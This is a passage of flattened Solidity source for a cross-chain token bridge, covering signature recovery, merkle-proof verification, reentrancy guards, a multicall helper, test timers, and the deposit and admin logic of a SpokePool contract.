* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
// This contract is taken from Uniswaps's multi call implementation (https://github.com/Uniswap/uniswap-v3-periphery/blob/main/contracts/base/Multicall.sol)
// and was modified to be solidity 0.8 compatible. Additionally, the method was restricted to only work with msg.value
// set to 0 to avoid any nasty attack vectors on function calls that use value sent with deposits.
pragma solidity ^0.8.0;
/// @title MultiCaller
/// @notice Enables calling multiple methods in a single call to the contract
contract MultiCaller {
function multicall(bytes[] calldata data) external payable returns (bytes[] memory results) {
require(msg.value == 0, "Only multicall with 0 value");
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(data[i]);
if (!success) {
// Next 5 lines from https://ethereum.stackexchange.com/a/83577
if (result.length < 68) revert();
assembly {
result := add(result, 0x04)
}
revert(abi.decode(result, (string)));
}
results[i] = result;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
import "./Timer.sol";
/**
* @title Base class that provides time overrides, but only if being run in test mode.
*/
abstract contract Testable {
// If the contract is being run in production, then `timerAddress` will be the 0x0 address.
// Note: this variable should be set on construction and never modified.
address public timerAddress;
/**
* @notice Constructs the Testable contract. Called by child contracts.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(address _timerAddress) {
timerAddress = _timerAddress;
}
/**
* @notice Reverts if not running in test mode.
*/
modifier onlyIfTest {
require(timerAddress != address(0x0));
_;
}
/**
* @notice Sets the current time.
* @dev Will revert if not running in test mode.
* @param time timestamp to set current Testable time to.
*/
function setCurrentTime(uint256 time) external onlyIfTest {
Timer(timerAddress).setCurrentTime(time);
}
/**
* @notice Gets the current time. Will return the last time set in `setCurrentTime` if running in test mode.
* Otherwise, it will return the block timestamp.
* @return uint for the current Testable timestamp.
*/
function getCurrentTime() public view virtual returns (uint256) {
if (timerAddress != address(0x0)) {
return Timer(timerAddress).getCurrentTime();
} else {
return block.timestamp; // solhint-disable-line not-rely-on-time
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
/**
* @title Universal store of current contract time for testing environments.
*/
contract Timer {
uint256 private currentTime;
constructor() {
currentTime = block.timestamp; // solhint-disable-line not-rely-on-time
}
/**
* @notice Sets the current time.
* @dev Will revert if not running in test mode.
* @param time timestamp to set `currentTime` to.
*/
function setCurrentTime(uint256 time) external {
currentTime = time;
}
/**
* @notice Gets the currentTime variable set in the Timer.
* @return uint256 for the current Testable timestamp.
*/
function getCurrentTime() public view returns (uint256) {
return currentTime;
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.0;
import "./SpokePool.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @notice Ethereum L1 specific SpokePool. Used on Ethereum L1 to facilitate L2->L1 transfers.
*/
contract Ethereum_SpokePool is SpokePool, Ownable {
/**
* @notice Construct the Ethereum SpokePool.
* @param _hubPool Hub pool address to set. Can be changed by admin.
* @param _wethAddress Weth address for this network to set.
* @param timerAddress Timer address to set.
*/
constructor(
address _hubPool,
address _wethAddress,
address timerAddress
) SpokePool(msg.sender, _hubPool, _wethAddress, timerAddress) {}
/**************************************
* INTERNAL FUNCTIONS *
**************************************/
function _bridgeTokensToHubPool(RelayerRefundLeaf memory relayerRefundLeaf) internal override {
IERC20(relayerRefundLeaf.l2TokenAddress).transfer(hubPool, relayerRefundLeaf.amountToReturn);
}
// Admin is simply owner which should be same account that owns the HubPool deployed on this network. A core
// assumption of this contract system is that the HubPool is deployed on Ethereum.
function _requireAdminSender() internal override onlyOwner {}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.0;
import "./interfaces/AdapterInterface.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @notice Concise list of functions in HubPool implementation.
*/
interface HubPoolInterface {
// This leaf is meant to be decoded in the HubPool to rebalance tokens between HubPool and SpokePool.
struct PoolRebalanceLeaf {
// This is used to know which chain to send cross-chain transactions to (and which SpokePool to send to).
uint256 chainId;
// Total LP fee amount per token in this bundle, encompassing all associated bundled relays.
uint256[] bundleLpFees;
// Represents the amount to push to or pull from the SpokePool. If +, the pool pays the SpokePool. If negative
// the SpokePool pays the HubPool. There can be arbitrarily complex rebalancing rules defined offchain. This
// number is only nonzero when the rules indicate that a rebalancing action should occur. When a rebalance does
// occur, runningBalances must be set to zero for this token and netSendAmounts should be set to the previous
// runningBalances + relays - deposits in this bundle. If non-zero then it must be set on the SpokePool's
// RelayerRefundLeaf amountToReturn as -1 * this value to show if funds are being sent from or to the SpokePool.
int256[] netSendAmounts;
// This is only here to be emitted in an event to track a running unpaid balance between the L2 pool and the L1
// pool. A positive number indicates that the HubPool owes the SpokePool funds. A negative number indicates that
// the SpokePool owes the HubPool funds. See the comment above for the dynamics of this and netSendAmounts.
int256[] runningBalances;
// Used by data worker to mark which leaves should relay roots to SpokePools, and to otherwise organize leaves.
// For example, each leaf should contain all the rebalance information for a single chain, but in the case where
// the list of l1Tokens is very large such that they all can't fit into a single leaf that can be executed under
// the block gas limit, then the data worker can use this groupIndex to organize them. Any leaves with
// a groupIndex equal to 0 will relay roots to the SpokePool, so the data worker should ensure that only one
// leaf for a specific chainId should have a groupIndex equal to 0.
uint256 groupIndex;
// Used as the index in the bitmap to track whether this leaf has been executed or not.
uint8 leafId;
// The bundleLpFees, netSendAmounts, and runningBalances are required to be the same length. They are parallel
// arrays for the given chainId and should be ordered by the l1Tokens field. All whitelisted tokens with nonzero
// relays on this chain in this bundle in the order of whitelisting.
address[] l1Tokens;
}
// A data worker can optimistically store several merkle roots on this contract by staking a bond and calling
// proposeRootBundle. By staking a bond, the data worker is alleging that the merkle roots all contain valid leaves
// that can be executed later to:
// - Send funds from this contract to a SpokePool or vice versa
// - Send funds from a SpokePool to Relayer as a refund for a relayed deposit
// - Send funds from a SpokePool to a deposit recipient to fulfill a "slow" relay
// Anyone can dispute this struct if the merkle roots contain invalid leaves before the
// challengePeriodEndTimestamp. Once the expiration timestamp is passed, executeRootBundle to execute a leaf
// from the poolRebalanceRoot on this contract and it will simultaneously publish the relayerRefundRoot and
// slowRelayRoot to a SpokePool. The latter two roots, once published to the SpokePool, contain
// leaves that can be executed on the SpokePool to pay relayers or recipients.
struct RootBundle {
// Contains leaves instructing this contract to send funds to SpokePools.
bytes32 poolRebalanceRoot;
// Relayer refund merkle root to be published to a SpokePool.
bytes32 relayerRefundRoot;
// Slow relay merkle root to be published to a SpokePool.
bytes32 slowRelayRoot;
// This is a 1D bitmap, with max size of 256 elements, limiting us to 256 chainsIds.
uint256 claimedBitMap;
// Proposer of this root bundle.
address proposer;
// Number of pool rebalance leaves to execute in the poolRebalanceRoot. After this number
// of leaves are executed, a new root bundle can be proposed
uint8 unclaimedPoolRebalanceLeafCount;
// When root bundle challenge period passes and this root bundle becomes executable.
uint32 challengePeriodEndTimestamp;
}
// Each whitelisted L1 token has an associated pooledToken struct that contains all information used to track the
// cumulative LP positions and if this token is enabled for deposits.
struct PooledToken {
// LP token given to LPs of a specific L1 token.
address lpToken;
// True if accepting new LP's.
bool isEnabled;
// Timestamp of last LP fee update.
uint32 lastLpFeeUpdate;
// Number of LP funds sent via pool rebalances to SpokePools and are expected to be sent
// back later.
int256 utilizedReserves;
// Number of LP funds held in contract less utilized reserves.
uint256 liquidReserves;
// Number of LP funds reserved to pay out to LPs as fees.
uint256 undistributedLpFees;
}
// Helper contracts to facilitate cross chain actions between HubPool and SpokePool for a specific network.
struct CrossChainContract {
address adapter;
address spokePool;
}
function setPaused(bool pause) external;
function emergencyDeleteProposal() external;
function relaySpokePoolAdminFunction(uint256 chainId, bytes memory functionData) external;
function setProtocolFeeCapture(address newProtocolFeeCaptureAddress, uint256 newProtocolFeeCapturePct) external;
function setBond(IERC20 newBondToken, uint256 newBondAmount) external;
function setLiveness(uint32 newLiveness) external;
function setIdentifier(bytes32 newIdentifier) external;
function setCrossChainContracts(
uint256 l2ChainId,
address adapter,
address spokePool
) external;
function enableL1TokenForLiquidityProvision(address l1Token) external;
function disableL1TokenForLiquidityProvision(address l1Token) external;
function addLiquidity(address l1Token, uint256 l1TokenAmount) external payable;
function removeLiquidity(
address l1Token,
uint256 lpTokenAmount,
bool sendEth
) external;
function exchangeRateCurrent(address l1Token) external returns (uint256);
function liquidityUtilizationCurrent(address l1Token) external returns (uint256);
function liquidityUtilizationPostRelay(address l1Token, uint256 relayedAmount) external returns (uint256);
function sync(address l1Token) external;
function proposeRootBundle(
uint256[] memory bundleEvaluationBlockNumbers,
uint8 poolRebalanceLeafCount,
bytes32 poolRebalanceRoot,
bytes32 relayerRefundRoot,
bytes32 slowRelayRoot
) external;
function executeRootBundle(
uint256 chainId,
uint256 groupIndex,
uint256[] memory bundleLpFees,
int256[] memory netSendAmounts,
int256[] memory runningBalances,
uint8 leafId,
address[] memory l1Tokens,
bytes32[] memory proof
) external;
function disputeRootBundle() external;
function claimProtocolFeesCaptured(address l1Token) external;
function setPoolRebalanceRoute(
uint256 destinationChainId,
address l1Token,
address destinationToken
) external;
function setDepositRoute(
uint256 originChainId,
uint256 destinationChainId,
address originToken,
bool depositsEnabled
) external;
function poolRebalanceRoute(uint256 destinationChainId, address l1Token)
external
view
returns (address destinationToken);
function loadEthForL2Calls() external payable;
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
/**
* @title A contract that provides modifiers to prevent reentrancy to state-changing and view-only methods. This contract
* is inspired by https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol
* and https://github.com/balancer-labs/balancer-core/blob/master/contracts/BPool.sol.
* @dev The reason why we use this local contract instead of importing from uma/contracts is because of the addition
* of the internal method `functionCallStackOriginatesFromOutsideThisContract` which doesn't exist in the one exported
* by uma/contracts.
*/
contract Lockable {
bool internal _notEntered;
constructor() {
// Storing an initial non-zero value makes deployment a bit more expensive, but in exchange the refund on every
// call to nonReentrant will be lower in amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to increase the likelihood of the full
// refund coming into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a nonReentrant function from another nonReentrant function is not supported. It is possible to
* prevent this from happening by making the nonReentrant function external, and making it call a private
* function that does the actual state modification.
*/
modifier nonReentrant() {
_preEntranceCheck();
_preEntranceSet();
_;
_postEntranceReset();
}
/**
* @dev Designed to prevent a view-only method from being re-entered during a call to a nonReentrant() state-changing method.
*/
modifier nonReentrantView() {
_preEntranceCheck();
_;
}
/**
* @dev Returns true if the contract is currently in a non-entered state, meaning that the origination of the call
* came from outside the contract. This is relevant with fallback/receive methods to see if the call came from ETH
* being dropped onto the contract externally or due to ETH dropped on the the contract from within a method in this
* contract, such as unwrapping WETH to ETH within the contract.
*/
function functionCallStackOriginatesFromOutsideThisContract() internal view returns (bool) {
return _notEntered;
}
// Internal methods are used to avoid copying the require statement's bytecode to every nonReentrant() method.
// On entry into a function, _preEntranceCheck() should always be called to check if the function is being
// re-entered. Then, if the function modifies state, it should call _postEntranceSet(), perform its logic, and
// then call _postEntranceReset().
// View-only methods can simply call _preEntranceCheck() to make sure that it is not being re-entered.
function _preEntranceCheck() internal view {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
}
function _preEntranceSet() internal {
// Any calls to nonReentrant after this point will fail
_notEntered = false;
}
function _postEntranceReset() internal {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.0;
import "./SpokePoolInterface.sol";
import "./HubPoolInterface.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/**
* @notice Library to help with merkle roots, proofs, and claims.
*/
library MerkleLib {
/**
* @notice Verifies that a repayment is contained within a merkle root.
* @param root the merkle root.
* @param rebalance the rebalance struct.
* @param proof the merkle proof.
* @return bool to signal if the pool rebalance proof correctly shows inclusion of the rebalance within the tree.
*/
function verifyPoolRebalance(
bytes32 root,
HubPoolInterface.PoolRebalanceLeaf memory rebalance,
bytes32[] memory proof
) internal pure returns (bool) {
return MerkleProof.verify(proof, root, keccak256(abi.encode(rebalance)));
}
/**
* @notice Verifies that a relayer refund is contained within a merkle root.
* @param root the merkle root.
* @param refund the refund struct.
* @param proof the merkle proof.
* @return bool to signal if the relayer refund proof correctly shows inclusion of the refund within the tree.
*/
function verifyRelayerRefund(
bytes32 root,
SpokePoolInterface.RelayerRefundLeaf memory refund,
bytes32[] memory proof
) internal pure returns (bool) {
return MerkleProof.verify(proof, root, keccak256(abi.encode(refund)));
}
/**
* @notice Verifies that a distribution is contained within a merkle root.
* @param root the merkle root.
* @param slowRelayFulfillment the relayData fulfillment struct.
* @param proof the merkle proof.
* @return bool to signal if the slow relay's proof correctly shows inclusion of the slow relay within the tree.
*/
function verifySlowRelayFulfillment(
bytes32 root,
SpokePoolInterface.RelayData memory slowRelayFulfillment,
bytes32[] memory proof
) internal pure returns (bool) {
return MerkleProof.verify(proof, root, keccak256(abi.encode(slowRelayFulfillment)));
}
// The following functions are primarily copied from
// https://github.com/Uniswap/merkle-distributor/blob/master/contracts/MerkleDistributor.sol with minor changes.
/**
* @notice Tests whether a claim is contained within a claimedBitMap mapping.
* @param claimedBitMap a simple uint256 mapping in storage used as a bitmap.
* @param index the index to check in the bitmap.
* @return bool indicating if the index within the claimedBitMap has been marked as claimed.
*/
function isClaimed(mapping(uint256 => uint256) storage claimedBitMap, uint256 index) internal view returns (bool) {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
uint256 claimedWord = claimedBitMap[claimedWordIndex];
uint256 mask = (1 << claimedBitIndex);
return claimedWord & mask == mask;
}
/**
* @notice Marks an index in a claimedBitMap as claimed.
* @param claimedBitMap a simple uint256 mapping in storage used as a bitmap.
* @param index the index to mark in the bitmap.
*/
function setClaimed(mapping(uint256 => uint256) storage claimedBitMap, uint256 index) internal {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex);
}
/**
* @notice Tests whether a claim is contained within a 1D claimedBitMap mapping.
* @param claimedBitMap a simple uint256 value, encoding a 1D bitmap.
* @param index the index to check in the bitmap. Uint8 type enforces that index can't be > 255.
* @return bool indicating if the index within the claimedBitMap has been marked as claimed.
*/
function isClaimed1D(uint256 claimedBitMap, uint8 index) internal pure returns (bool) {
uint256 mask = (1 << index);
return claimedBitMap & mask == mask;
}
/**
* @notice Marks an index in a claimedBitMap as claimed.
* @param claimedBitMap a simple uint256 mapping in storage used as a bitmap. Uint8 type enforces that index
* can't be > 255.
* @param index the index to mark in the bitmap.
* @return uint256 representing the modified input claimedBitMap with the index set to true.
*/
function setClaimed1D(uint256 claimedBitMap, uint8 index) internal pure returns (uint256) {
return claimedBitMap | (1 << index % 256);
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.0;
import "./MerkleLib.sol";
import "./interfaces/WETH9.sol";
import "./Lockable.sol";
import "./SpokePoolInterface.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@uma/core/contracts/common/implementation/Testable.sol";
import "@uma/core/contracts/common/implementation/MultiCaller.sol";
/**
* @title SpokePool
* @notice Base contract deployed on source and destination chains enabling depositors to transfer assets from source to
* destination. Deposit orders are fulfilled by off-chain relayers who also interact with this contract. Deposited
* tokens are locked on the source chain and relayers send the recipient the desired token currency and amount
* on the destination chain. Locked source chain tokens are later sent over the canonical token bridge to L1 HubPool.
* Relayers are refunded with destination tokens out of this contract after another off-chain actor, a "data worker",
* submits a proof that the relayer correctly submitted a relay on this SpokePool.
*/
abstract contract SpokePool is SpokePoolInterface, Testable, Lockable, MultiCaller {
using SafeERC20 for IERC20;
using Address for address;
// Address of the L1 contract that acts as the owner of this SpokePool. If this contract is deployed on Ethereum,
// then this address should be set to the same owner as the HubPool and the whole system.
address public crossDomainAdmin;
// Address of the L1 contract that will send tokens to and receive tokens from this contract to fund relayer
// refunds and slow relays.
address public hubPool;
// Address of wrappedNativeToken contract for this network. If an origin token matches this, then the caller can
// optionally instruct this contract to wrap native tokens when depositing (ie ETH->WETH or MATIC->WMATIC).
WETH9 public immutable wrappedNativeToken;
// Any deposit quote times greater than or less than this value to the current contract time is blocked. Forces
// caller to use an approximately "current" realized fee. Defaults to 10 minutes.
uint32 public depositQuoteTimeBuffer = 600;
// Count of deposits is used to construct a unique deposit identifier for this spoke pool.
uint32 public numberOfDeposits;
// This contract can store as many root bundles as the HubPool chooses to publish here.
RootBundle[] public rootBundles;
// Origin token to destination token routings can be turned on or off, which can enable or disable deposits.
mapping(address => mapping(uint256 => bool)) public enabledDepositRoutes;
// Each relay is associated with the hash of parameters that uniquely identify the original deposit and a relay
// attempt for that deposit. The relay itself is just represented as the amount filled so far. The total amount to
// relay, the fees, and the agents are all parameters included in the hash key.
mapping(bytes32 => uint256) public relayFills;
/****************************************
* EVENTS *
****************************************/
event SetXDomainAdmin(address indexed newAdmin);
event SetHubPool(address indexed newHubPool);
event EnabledDepositRoute(address indexed originToken, uint256 indexed destinationChainId, bool enabled);
event SetDepositQuoteTimeBuffer(uint32 newBuffer);
event FundsDeposited(
uint256 amount,
uint256 originChainId,
uint256 destinationChainId,
uint64 relayerFeePct,
uint32 indexed depositId,
uint32 quoteTimestamp,
address indexed originToken,
address recipient,
address indexed depositor
);
event RequestedSpeedUpDeposit(
uint64 newRelayerFeePct,
uint32 indexed depositId,
address indexed depositor,
bytes depositorSignature
);
event FilledRelay(
uint256 amount,
uint256 totalFilledAmount,
uint256 fillAmount,
uint256 repaymentChainId,
uint256 originChainId,
uint256 destinationChainId,
uint64 relayerFeePct,
uint64 appliedRelayerFeePct,
uint64 realizedLpFeePct,
uint32 depositId,
address destinationToken,
address indexed relayer,
address indexed depositor,
address recipient,
bool isSlowRelay
);
event RelayedRootBundle(
uint32 indexed rootBundleId,
bytes32 indexed relayerRefundRoot,
bytes32 indexed slowRelayRoot
);
event ExecutedRelayerRefundRoot(
uint256 amountToReturn,
uint256 indexed chainId,
uint256[] refundAmounts,
uint32 indexed rootBundleId,
uint32 indexed leafId,
address l2TokenAddress,
address[] refundAddresses,
address caller
);
event TokensBridged(
uint256 amountToReturn,
uint256 indexed chainId,
uint32 indexed leafId,
address indexed l2TokenAddress,
address caller
);
event EmergencyDeleteRootBundle(uint256 indexed rootBundleId);
/**
* @notice Construct the base SpokePool.
* @param _crossDomainAdmin Cross domain admin to set. Can be changed by admin.
* @param _hubPool Hub pool address to set. Can be changed by admin.
* @param _wrappedNativeTokenAddress wrappedNativeToken address for this network to set.
* @param timerAddress Timer address to set.
*/
constructor(
address _crossDomainAdmin,
address _hubPool,
address _wrappedNativeTokenAddress,
address timerAddress
) Testable(timerAddress) {
_setCrossDomainAdmin(_crossDomainAdmin);
_setHubPool(_hubPool);
wrappedNativeToken = WETH9(_wrappedNativeTokenAddress);
}
/****************************************
* MODIFIERS *
****************************************/
// Implementing contract needs to override _requireAdminSender() to ensure that admin functions are protected
// appropriately.
modifier onlyAdmin() {
_requireAdminSender();
_;
}
/**************************************
* ADMIN FUNCTIONS *
**************************************/
/**
* @notice Change cross domain admin address. Callable by admin only.
* @param newCrossDomainAdmin New cross domain admin.
*/
function setCrossDomainAdmin(address newCrossDomainAdmin) public override onlyAdmin nonReentrant {
_setCrossDomainAdmin(newCrossDomainAdmin);
}
/**
* @notice Change L1 hub pool address. Callable by admin only.
* @param newHubPool New hub pool.
*/
function setHubPool(address newHubPool) public override onlyAdmin nonReentrant {
_setHubPool(newHubPool);
}
/**
* @notice Enable/Disable an origin token => destination chain ID route for deposits. Callable by admin only.
* @param originToken Token that depositor can deposit to this contract.
* @param destinationChainId Chain ID for where depositor wants to receive funds.
* @param enabled True to enable deposits, False otherwise.
*/
function setEnableRoute(
address originToken,
uint256 destinationChainId,
bool enabled
) public override onlyAdmin nonReentrant {
enabledDepositRoutes[originToken][destinationChainId] = enabled;
emit EnabledDepositRoute(originToken, destinationChainId, enabled);
}
/**
* @notice Change allowance for deposit quote time to differ from current block time. Callable by admin only.
* @param newDepositQuoteTimeBuffer New quote time buffer.
*/
function setDepositQuoteTimeBuffer(uint32 newDepositQuoteTimeBuffer) public override onlyAdmin nonReentrant {
depositQuoteTimeBuffer = newDepositQuoteTimeBuffer;
emit SetDepositQuoteTimeBuffer(newDepositQuoteTimeBuffer);
}
/**
* @notice This method stores a new root bundle in this contract that can be executed to refund relayers, fulfill
* slow relays, and send funds back to the HubPool on L1. This method can only be called by the admin and is
* designed to be called as part of a cross-chain message from the HubPool's executeRootBundle method.
* @param relayerRefundRoot Merkle root containing relayer refund leaves that can be individually executed via
* executeRelayerRefundLeaf().
* @param slowRelayRoot Merkle root containing slow relay fulfillment leaves that can be individually executed via
* executeSlowRelayLeaf().
*/
function relayRootBundle(bytes32 relayerRefundRoot, bytes32 slowRelayRoot) public override onlyAdmin nonReentrant {
uint32 rootBundleId = uint32(rootBundles.length);
RootBundle storage rootBundle = rootBundles.push();
rootBundle.relayerRefundRoot = relayerRefundRoot;
rootBundle.slowRelayRoot = slowRelayRoot;
emit RelayedRootBundle(rootBundleId, relayerRefundRoot, slowRelayRoot);
}
/**
* @notice This method is intended to only be used in emergencies where a bad root bundle has reached the
* SpokePool.
* @param rootBundleId Index of the root bundle that needs to be deleted. Note: this is intentionally a uint256
* to ensure that a small input range doesn't limit which indices this method is able to reach.
*/
function emergencyDeleteRootBundle(uint256 rootBundleId) public override onlyAdmin nonReentrant {
delete rootBundles[rootBundleId];
emit EmergencyDeleteRootBundle(rootBundleId);
}
/**************************************
* DEPOSITOR FUNCTIONS *
**************************************/
/**
* @notice Called by user to bridge funds from origin to destination chain. Depositor will effectively lock
* tokens in this contract and receive a destination token on the destination chain. The origin => destination
* token mapping is stored on the L1 HubPool.
* @notice The caller must first approve this contract to spend amount of originToken.
* @notice The originToken => destinationChainId must be enabled.
* @notice This method is payable because the caller is able to deposit native token if the originToken is
* wrappedNativeToken and this function will handle wrapping the native token to wrappedNativeToken.
* @param recipient Address to receive funds at on destination chain.
* @param originToken Token to lock into this contract to initiate deposit.
* @param amount Amount of tokens to deposit. Will be amount of tokens to receive less fees.
* @param destinationChainId Denotes network where user will receive funds from SpokePool by a relayer.
* @param relayerFeePct % of deposit amount taken out to incentivize a fast relayer.
* @param quoteTimestamp Timestamp used by relayers to compute this deposit's realizedLPFeePct which is paid
* to LP pool on HubPool.
*/
function deposit(
address recipient,
address originToken,
uint256 amount,
uint256 destinationChainId,
uint64 relayerFeePct,
uint32 quoteTimestamp
) public payable override nonReentrant {
// Check that deposit route is enabled.
require(enabledDepositRoutes[originToken][destinationChainId], "Disabled route");
// We limit the relay fees to prevent the user spending all their funds on fees.
require(relayerFeePct < 0.5e18, "invalid relayer fee");
// This function assumes that L2 timing cannot be compared accurately and consistently to L1 timing. Therefore,
// block.timestamp is different from the L1 EVM's. Therefore, the quoteTimestamp must be within a configurable
// buffer of this contract's block time to allow for this variance.
// Note also that quoteTimestamp cannot be less than the buffer otherwise the following arithmetic can result
// in underflow. This isn't a problem as the deposit will revert, but the error might be unexpected for clients.
require(
getCurrentTime() >= quoteTimestamp - depositQuoteTimeBuffer &&
getCurrentTime() <= quoteTimestamp + depositQuoteTimeBuffer,
"invalid quote time"
);
// If the address of the origin token is a wrappedNativeToken contract and there is a msg.value with the
// transaction then the user is sending ETH. In this case, the ETH should be deposited to wrappedNativeToken.
if (originToken == address(wrappedNativeToken) && msg.value > 0) {
require(msg.value == amount, "msg.value must match amount");
wrappedNativeToken.deposit{ value: msg.value }();
// Else, it is a normal ERC20. In this case pull the token from the user's wallet as per normal.
// Note: this includes the case where the L2 user has WETH (already wrapped ETH) and wants to bridge them.
// In this case the msg.value will be set to 0, indicating a "normal" ERC20 bridging action.
} else IERC20(originToken).safeTransferFrom(msg.sender, address(this), amount);
_emitDeposit(
amount,
chainId(),
destinationChainId,
relayerFeePct,
numberOfDeposits,
quoteTimestamp,
originToken,
recipient,
msg.sender
);
// Increment count of deposits so that deposit ID for this spoke pool is unique.
// @dev: Use pre-increment to save gas:
// i++ --> Load, Store, Add, Store
// ++i --> Load, Add, Store
++numberOfDeposits;
}
/**
* @notice Convenience method that depositor can use to signal to relayer to use updated fee.
* @notice Relayer should only use events emitted by this function to submit fills with updated fees, otherwise they
* risk their fills getting disputed for being invalid, for example if the depositor never actually signed the
* update fee message.
* @notice This function will revert if the depositor did not sign a message containing the updated fee for the
* deposit ID stored in this contract. If the deposit ID is for another contract, or the depositor address is
* incorrect, or the updated fee is incorrect, then the signature will not match and this function will revert.
* @param depositor Signer of the update fee message who originally submitted the deposit. If the deposit doesn't
* exist, then the relayer will not be able to fill any relay, so the caller should validate that the depositor
* did in fact submit a relay.
* @param newRelayerFeePct New relayer fee that relayers can use.
* @param depositId Deposit to update fee for that originated in this contract.
